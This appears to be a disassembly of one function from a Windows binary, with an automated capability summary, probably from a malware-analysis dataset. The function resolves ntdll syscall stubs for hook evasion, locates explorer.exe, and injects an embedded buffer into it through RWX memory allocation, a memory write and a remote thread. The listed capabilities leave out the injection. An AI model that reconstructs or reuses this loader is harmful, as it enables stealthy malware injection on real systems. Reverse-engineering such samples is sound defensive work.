Function at 0x1400010c0
Capabilities:
Enumerate process modules
Link many functions at runtime

Disassembly:
push rbp
push rbx
push r15
lea rbp, [rsp - 0x11f0]
mov eax, 0x12f0
call fcn.1400022b0
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x11e0], rax
xor r15d, r15d
lea rcx, str.ntdll.dll
mov qword [rsp + 0x60], r15
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtOpenProcess
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
movzx ecx, byte [rax + 4]
add rax, 0x12
mov dword [0x14001d09c], ecx
lea rcx, str.ntdll.dll
mov qword [0x14001d0b8], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtAllocateVirtualMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
movzx ecx, byte [rax + 4]
add rax, 0x12
mov dword [0x14001d0a0], ecx
lea rcx, str.ntdll.dll
mov qword [0x14001d0b0], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtWriteVirtualMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.ntdll.dll
movzx edx, byte [rax + 4]
add rax, 0x12
mov qword [0x14001d090], rax
mov dword [0x14001d080], edx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtCreateThreadEx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.ntdll.dll
movzx edx, byte [rax + 4]
add rax, 0x12
mov qword [0x14001d088], rax
mov dword [0x14001d084], edx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtWaitForSingleObject
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r8, [rbp - 0x78]
mov edx, 0x1000
movzx ecx, byte [rax + 4]
add rax, 0x12
mov dword [0x14001d098], ecx
lea rcx, [rbp - 0x30]
mov qword [0x14001d0a8], rax
call qword [sym.imp.KERNEL32.dll_K32EnumProcesses]
test eax, eax
jne 0x140001220
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_enumerate_processes._Error:__lu_n
call fcn.140001010
mov eax, r15d
jmp 0x1400012e8
mov qword [rsp + 0x1310], rsi
mov ebx, r15d
mov qword [rsp + 0x1318], rdi
mov qword [rsp + 0x1320], r14
mov r14d, dword [rbp - 0x78]
shr r14d, 2
test r14d, r14d
je 0x1400012c1
nop dword [rax + rax]
mov eax, ebx
lea rsi, [rbp - 0x30]
mov r8d, dword [rsi + rax*4]
lea rsi, [rsi + rax*4]
test r8d, r8d
je 0x1400012ba
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x1400012ba
mov r9d, 0x104
lea r8, [rbp + 0xfd0]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_K32GetModuleFileNameExW]
test eax, eax
je 0x1400012b1
lea rdx, str.explorer.exe
lea rcx, [rbp + 0xfd0]
call qword [sym.imp.VCRUNTIME140.dll_wcsstr]
test rax, rax
jne 0x140001352
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc ebx
cmp ebx, r14d
jb 0x140001250
lea rcx, str.Process_not_found._n
call fcn.140001010
mov eax, r15d
mov rdi, qword [rsp + 0x1318]
mov rsi, qword [rsp + 0x1310]
mov r14, qword [rsp + 0x1320]
xorps xmm0, xmm0
mov qword [rsp + 0x78], rax
xorps xmm1, xmm1
mov qword [rbp - 0x80], r15
lea r9, [rsp + 0x78]
mov dword [rbp - 0x68], 0x30
lea r8, [rbp - 0x68]
mov dword [rbp - 0x50], r15d
mov edx, 0x1fffff
lea rcx, [rsp + 0x68]
movdqu xmmword [rbp - 0x60], xmm0
movdqu xmmword [rbp - 0x48], xmm1
call fcn.140001450
movsxd rbx, eax
test eax, eax
jns 0x140001362
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r8d, ebx
lea rdx, str.Failed_to_open_target_process._NTSTATUS:_0x_08X_n
mov rcx, rax
call fcn.140001070
mov eax, 1
jmp 0x14000142b
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsi]
jmp 0x1400012d0
mov rcx, qword [rsp + 0x68]
lea r9, [0x140005080]
mov dword [rsp + 0x28], 0x40
lea rdx, [rsp + 0x60]
xor r8d, r8d
mov dword [rsp + 0x20], 0x3000
call fcn.14000145f
mov r9, qword [0x140005080]
lea rax, [rbp - 0x70]
mov rdx, qword [rsp + 0x60]
lea r8, [0x140005090]
mov rcx, qword [rsp + 0x68]
mov qword [rsp + 0x20], rax
call fcn.14000146e
mov rax, qword [rsp + 0x60]
lea rcx, [rsp + 0x70]
mov r9, qword [rsp + 0x68]
xor r8d, r8d
mov qword [rsp + 0x58], r15
mov edx, 0x1fffff
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x38], r15
mov dword [rsp + 0x30], r15d
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], rax
call fcn.14000147d
test eax, eax
jns 0x14000141a
mov rdx, rbx
lea rcx, str.Failed_to_create_remote_thread.NTSTATUS:_0x_08X_n
call fcn.140001070
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x14000142b
mov rcx, qword [rsp + 0x70]
xor r8d, r8d
xor edx, edx
call fcn.14000148c
xor eax, eax
mov rcx, qword [rbp + 0x11e0]
xor rcx, rsp
call fcn.1400014b0
add rsp, 0x12f0
pop r15
pop rbx
pop rbp
ret